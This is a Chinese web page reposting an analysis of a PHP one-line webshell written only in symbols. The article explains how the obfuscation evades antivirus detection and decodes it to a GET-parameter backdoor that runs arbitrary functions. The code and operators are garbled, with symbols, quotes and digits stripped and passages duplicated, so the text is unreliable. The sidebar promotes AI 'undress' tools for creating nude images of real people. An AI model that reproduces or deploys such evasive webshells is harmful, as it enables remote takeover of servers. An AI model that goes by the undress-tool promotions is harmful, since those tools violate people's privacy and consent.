纯符号一句话webshell PHP代码详解
以下是网上流传的一段由纯符号组成的一句话后门代码,这种代码混淆方法主要用以webshell免杀,本文中将详细剖析这段看似复杂的PHP变形代码。 lt;?php _=; _[]=; _=_; _=_[]|_[]|_[]^; {__}[_]{__}[__]; ?gt; 第一行: _=; 定义一个以下划线作为命名的字符变
以下是网上流传的一段由纯符号组成的一句话后门代码,这种代码混淆方法主要用以webshell免杀,本文中将详细剖析这段看似复杂的PHP变形代码。
第一行: 第二行: 第三行: 第四行: 再回到代码上来,此行代码分三个部分_[]| 第五行: 至此,这段混淆代码已原形毕露,一句话后门代码原形为:_GET[_]_GET[__],传递特殊参数构建webshell链接网址(例如:
原文地址:纯符号一句话webshell PHP代码详解, 感谢原作者分享。
定义一个以下划线作为命名的字符变量:_,赋值为空。
此行实际上不影响代码执行效果,仅增加混淆效果。
定义一个_数组元素,其key为,赋值为空。
众所周知,PHP是个弱类型语言,也就是说PHP并不严格验证变量类型,所以这里作为数组了key,其值等同于,所以此行等同于_[]=;
此时_被定义为数组,覆盖上一行的定义。
将变量_强制转换为字符串,因为此时_类型为数组,强制转换后的结果为字符串Array(string5Array),而非数组元素的值。
这一行涉及到计算机二进制的“或运算”和“异或运算”,这里先简单介绍下这两种运算规则:
、或运算,符号为|
运算规则:|=;|=;|=;|=;
简单来说,或运算前后两个对象只要有一个为,其值就为,否则为
2、异或运算,符号为^
运算规则:^=;^=;^=;^=;
简单来说,异或运算可以看成是判断前后两个对象是否相等的,如果两个对象不同(即为异),则值为,否则为
先看第一部分_[]|,很明显,这里是_[]和这两个对象进行“或运算”。
第一个对象_[](也就是_[]),要注意其值已经不是第二行定义的空值,因为在第三行时_变量已经被覆盖定义为字符串“Array”。这里涉及到另一个php知识细节:对于字符串[数字]结构,字符串将会当成数组处理,返回以后面数字作为索引的元素值,例如:x=abcd9com,则x[4]=9。可见,_[]值为字符串“Array”第一字符“A”。
第二个对象是一个特殊字符(注意:这不是短横,虽然长得很像,实际上是个特殊字符,此类符号在某些环境下无法识别而作为乱码处理。后面两部分中的特殊字符也如此。),暂不管为什么此处是这个特殊字符而不是其他字符,先在此行下增加一行测试代码显示这一行定义的_值:
测试结果为:
再先看第一部分_[]|值为G,上面已得到_[]值为“A”,即A|=G,下面分析下此等式:
“A”二进制:
“G”二进制:
|x=
通过或运算规则推导并参考ASCII码对照表,x值可能有以下几个结果:
代码中的即为ASCII控制字符:ACK。其实另外三个字符也适用,为了增加混淆效果故采用这种特殊字符。
搞清楚第一部分,第二、第三部分也同理可推。
此行可通过小括号分成两部分:{__}[_]和{__}[__],两部分结构均是{A}[B],区别仅是后面B是一条下划线还是两条小划线。
先看相同部分{__},这里涉及到大括号{}在php中的特性一个:在变量间接引用中进行定界,如abc为变量abc而{a}bc为变量a连接字符bc,了解了这一特性,而第四行对_赋值为“GET”,可见{__}即为变量_GET,加上后面[_],则为_GET[_],接收get的表单中的变量为_的值。小括号里的部分同理。
根据上面叙述,第五行代码还原后是:_GET[_]_GET[__];

Hot AI Tools

Undresser.AI Undress
AI-powered app for creating realistic nude photos

AI Clothes Remover
Online AI tool for removing clothes from photos.

Undress AI Tool
Undress images for free

Clothoff.io
AI clothes remover

AI Hentai Generator
Generate AI Hentai for free.

Hot Article

Hot Tools

Notepad++7.3.1
Easy-to-use and free code editor

SublimeText3 Chinese version
Chinese version, very easy to use

Zend Studio 13.0.1
Powerful PHP integrated development environment

Dreamweaver CS6
Visual web development tools

SublimeText3 Mac version
God-level code editing software (SublimeText3)

Hot Topics



PHP 8.4 brings several new features, security improvements, and performance improvements with healthy amounts of feature deprecations and removals. This guide explains how to install PHP 8.4 or upgrade to PHP 8.4 on Ubuntu, Debian, or their derivati

Visual Studio Code, also known as VS Code, is a free source code editor — or integrated development environment (IDE) — available for all major operating systems. With a large collection of extensions for many programming languages, VS Code can be c

This tutorial demonstrates how to efficiently process XML documents using PHP. XML (eXtensible Markup Language) is a versatile text-based markup language designed for both human readability and machine parsing. It's commonly used for data storage an

If you are an experienced PHP developer, you might have the feeling that you’ve been there and done that already.You have developed a significant number of applications, debugged millions of lines of code, and tweaked a bunch of scripts to achieve op

JWT is an open standard based on JSON, used to securely transmit information between parties, mainly for identity authentication and information exchange. 1. JWT consists of three parts: Header, Payload and Signature. 2. The working principle of JWT includes three steps: generating JWT, verifying JWT and parsing Payload. 3. When using JWT for authentication in PHP, JWT can be generated and verified, and user role and permission information can be included in advanced usage. 4. Common errors include signature verification failure, token expiration, and payload oversized. Debugging skills include using debugging tools and logging. 5. Performance optimization and best practices include using appropriate signature algorithms, setting validity periods reasonably,

A string is a sequence of characters, including letters, numbers, and symbols. This tutorial will learn how to calculate the number of vowels in a given string in PHP using different methods. The vowels in English are a, e, i, o, u, and they can be uppercase or lowercase. What is a vowel? Vowels are alphabetic characters that represent a specific pronunciation. There are five vowels in English, including uppercase and lowercase: a, e, i, o, u Example 1 Input: String = "Tutorialspoint" Output: 6 explain The vowels in the string "Tutorialspoint" are u, o, i, a, o, i. There are 6 yuan in total

Static binding (static::) implements late static binding (LSB) in PHP, allowing calling classes to be referenced in static contexts rather than defining classes. 1) The parsing process is performed at runtime, 2) Look up the call class in the inheritance relationship, 3) It may bring performance overhead.

What are the magic methods of PHP? PHP's magic methods include: 1.\_\_construct, used to initialize objects; 2.\_\_destruct, used to clean up resources; 3.\_\_call, handle non-existent method calls; 4.\_\_get, implement dynamic attribute access; 5.\_\_set, implement dynamic attribute settings. These methods are automatically called in certain situations, improving code flexibility and efficiency.
